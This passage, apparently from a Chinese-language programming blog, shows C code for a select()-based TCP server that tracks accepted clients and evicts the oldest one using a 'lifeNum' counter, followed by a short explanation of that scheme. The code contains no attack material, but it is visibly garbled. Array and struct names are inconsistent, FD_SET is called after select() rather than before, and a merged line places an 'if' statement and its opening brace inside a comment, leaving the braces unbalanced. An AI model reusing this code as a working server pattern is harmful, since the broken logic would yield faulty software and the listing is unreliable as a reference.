    						if(socketMax <tcp_accept[i].socket) {socketMax = tcp_accept[i].socket};
    				}	
    		}
    if(socketMax > 0){
    		timeout.tv_sec = 5;
    		timeout.tv_usec = 0;
    		fd_act = 0;
    		fd_act = select(socketMax+1, &fdSockSet, NULL, NULL, &timeout);
    		if(fd_act>0)
    		{
    				for(int i = 0; i<num;i++)
    				{
    						if(tcp_accept[i].socket>0)
    						{
    								FD_SET(tcp_accept[i].socket, &fdSockSet);
    								if(FD_ISSET(tcp_accept[i].socket, &fdSockSet)) 
    								{
    										recv(tcp_accept[i].socket, rxbuf, SOCKET_TCP_RECV, 0);
    								}
    						}	
    				}	
    
    				if(FD_ISSET(tcp_sockServer, &fdSockSet)) 
    				{
    						newSocket = -1;
    						newSocket = accept(tcp_sockServer, (struct sockaddr *)&sockClient, (socklen_t *)&addrlen);	//sockclient为连接的客户端信息,addrlen为sockaddr结构体长度。					if(newSocket>0){
    						ip = ntohl(pTCP->sockClient.sin_addr.s_addr);
    						port = ntohs(pTCP->sockClient.sin_port); 		
    						sLinger.l_onoff = 0;
    						ret = setsockopt(newSocket, SOL_SOCKET, SO_LINGER, &sLinger, sizeof(struct linger));
    						lifeNumMax++;
    								if(lifeNumMax >= 100000000){
    									lifeNumMax = 1;
    									for(i=0;i<SOCKET_ACCEPT_MAX;i++){
    										if(tcpAccept[i].socket > 0){
    											tcpAccept[i].lifeNum -= 100000000;
    										}
    									}		
    								}
    								/* IP相同,则不需要关闭任何客户端 */
    								for (i = 0; i < SOCKET_ACCEPT_MAX; i++) {
    									if (tcpAccept[i].socket > 0 && tcpAccept[i].ip == ip) {
    										j = i;
    										goto accept_new_socket;
    									}
    								}		
    								/* 新来设备,判断是否num不够,如果num够则新增acceptsocket */
    								for (i = 0; i < SOCKET_ACCEPT_MAX; i++) {
    									if (tcpAccept[i].socket==0) {
    										j = i;
    										goto accept_new_socket;
    									}
    								}		
    								/* 新来设备,判断是否num不够,如果num不够则新增acceptsocket并放弃最早的客户端  */
    								j = 0;	
    								lifeNumMin = tcpAccept[0].lifeNum;
    								for (i = 1; i < SOCKET_ACCEPT_MAX; i++) {
    									if(lifeNumMin > tcpAccept[i].lifeNum){
    										lifeNumMin = tcpAccept[i].lifeNum;
    										j = i;
    									}
    								}	
    accept_new_socket:
    						
    								if(tcpAccept[j].socket > 0){
    									close(tcpAccept[j].socket);
    								}
    								tcpAccept[j].socket = newSocket;
    								tcpAccept[j].ip = ip;
    								tcpAccept[j].port = port;
    								tcpAccept[j].status = 0xff;	/* socket正常使用 */
    								tcpAccept[j].lifeNum = lifeNumMax;
    
    								  
    				}
    		}
    	
    
    }
    

    其中放弃最早的客户端采用了比较简单的算法
    每个客户端在连接时给予一个lifeNum生命值,还有一个不断增加的计数器 lifeNumMax,当客户端增加到最大数量时,比较前几个客户端的生命值,把最小的除去,因为它连接的最久。生命值代码为

    		lifeNumMax++;
    		if(lifeNumMax >= 100000000){
    			lifeNumMax = 1;
    			for(i=0;i<SOCKET_ACCEPT_MAX;i++){
    				if(tcpAccept[i].socket > 0){
    					tcpAccept[i].lifeNum -= 100000000;
    				}
    			}		
    		}
    
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